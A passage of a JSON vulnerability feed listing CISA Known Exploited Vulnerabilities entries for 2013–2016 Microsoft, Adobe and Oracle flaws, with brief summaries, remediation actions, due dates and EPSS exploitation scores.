CVE-2013-3346","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3346 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3346&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3346, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3897","cveId":"CVE-2013-3897","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Use-After-Free Vulnerability","summary":"A use-after-free vulnerability exists within CDisplayPointer in Microsoft Internet Explorer that allows an attacker to remotely execute arbitrary code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7731,"percentile":0.99552,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3897&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-3897","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3897 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3897&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3897, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-5065","cveId":"CVE-2013-5065","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"Microsoft Windows NDProxy.sys in the kernel contains an improper input validation vulnerability which can allow a local attacker to escalate privileges.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.34651,"percentile":0.9841,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-5065&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-5065","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-5065 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-5065&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-5065, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-0496","cveId":"CVE-2014-0496","aliases":[],"kind":"vulnerability","title":"Adobe Reader and Acrobat Use-After-Free Vulnerability","summary":"Adobe Reader and Acrobat contain a use-after-free vulnerability which can allow for code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Reader and Acrobat","stacks":["Adobe Acrobat and Reader","Adobe","Reader and Acrobat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3998,"percentile":0.98619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-0496&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-0496","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-0496 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-0496&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-0496, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-4114","cveId":"CVE-2014-4114","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Object Linking & Embedding (OLE) Remote Code Execution Vulnerability","summary":"A vulnerability exists in Windows Object Linking & Embedding (OLE) that could allow remote code execution if a user opens a file that contains a specially crafted OLE object.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81628,"percentile":0.99639,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-4114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-4114","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-4114 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-4114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-4114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1642","cveId":"CVE-2015-1642","aliases":[],"kind":"vulnerability","title":"Microsoft Office Memory Corruption Vulnerability","summary":"Microsoft Office contains a memory corruption vulnerability that allows remote attackers to execute arbitrary code via a crafted document.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53087,"percentile":0.98971,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1642","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1642 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1701","cveId":"CVE-2015-1701","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"An unspecified vulnerability exists in the Win32k.sys kernel-mode driver in Microsoft Windows Server that allows a local attacker to execute arbitrary code with elevated privileges.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55923,"percentile":0.99039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1701&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1701","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1701 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1701&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1701, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2387","cveId":"CVE-2015-2387","aliases":[],"kind":"vulnerability","title":"Microsoft ATM Font Driver Privilege Escalation Vulnerability","summary":"ATMFD.DLL in the Adobe Type Manager Font Driver in Microsoft Windows Server allows local users to gain privileges via a crafted application.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"ATM Font Driver","stacks":["Microsoft","ATM Font Driver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.34878,"percentile":0.9842,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2387&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2387","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2387 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2387&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2387, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2424","cveId":"CVE-2015-2424","aliases":[],"kind":"vulnerability","title":"Microsoft PowerPoint Memory Corruption Vulnerability","summary":"Microsoft PowerPoint allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted Office document.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"PowerPoint","stacks":["Microsoft Office","Microsoft","PowerPoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.40388,"percentile":0.98635,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2424&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2424","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2424 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2424&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2424, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2545","cveId":"CVE-2015-2545","aliases":[],"kind":"vulnerability","title":"Microsoft Office Malformed EPS File Vulnerability","summary":"Microsoft Office allows remote attackers to execute arbitrary code via a crafted EPS image.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85937,"percentile":0.99726,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2545&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2545","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2545 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2545&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2545, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2590","cveId":"CVE-2015-2590","aliases":[],"kind":"vulnerability","title":"Oracle Java SE and Java SE Embedded Remote Code Execution Vulnerability","summary":"An unspecified vulnerability exists within Oracle Java Runtime Environment that allows an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java SE","stacks":["Oracle","Java","Java SE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.25469,"percentile":0.97936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2590&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2590","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2590 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2590&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2590, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-3043","cveId":"CVE-2015-3043","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Memory Corruption Vulnerability","summary":"A memory corruption vulnerability exists in Adobe Flash Player that allows an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73862,"percentile":0.99474,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-3043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-3043","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-3043 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-3043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-3043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-4902","cveId":"CVE-2015-4902","aliases":[],"kind":"vulnerability","title":"Oracle Java SE Integrity Check Vulnerability","summary":"Unspecified vulnerability in Oracle Java SE allows remote attackers to affect integrity via Unknown vectors related to deployment.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java SE","stacks":["Oracle","Java","Java SE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13603,"percentile":0.96441,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-4902&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-4902","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-4902 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-4902&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-4902, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-5119","cveId":"CVE-2015-5119","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Use-After-Free Vulnerability","summary":"A use-after-free vulnerability exists within the ActionScript 3 ByteArray class in Adobe Flash Player that allows an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98618,"percentile":0.99923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-5119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-5119","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-5119 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-5119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-5119, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-7645","cveId":"CVE-2015-7645","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Arbitrary Code Execution Vulnerability","summary":"Adobe Flash Player allows remote attackers to execute arbitrary code via a crafted SWF file.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.65339,"percentile":0.99251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-7645&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-7645","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-7645 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-7645&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-7645, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0099","cveId":"CVE-2016-0099","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Secondary Logon Service Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists in Microsoft Windows if the Windows Secondary Logon Service fails to properly manage request handles in memory. An attacker who successfully exploited this vulnerability could run arbitrary code as an administrator.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor 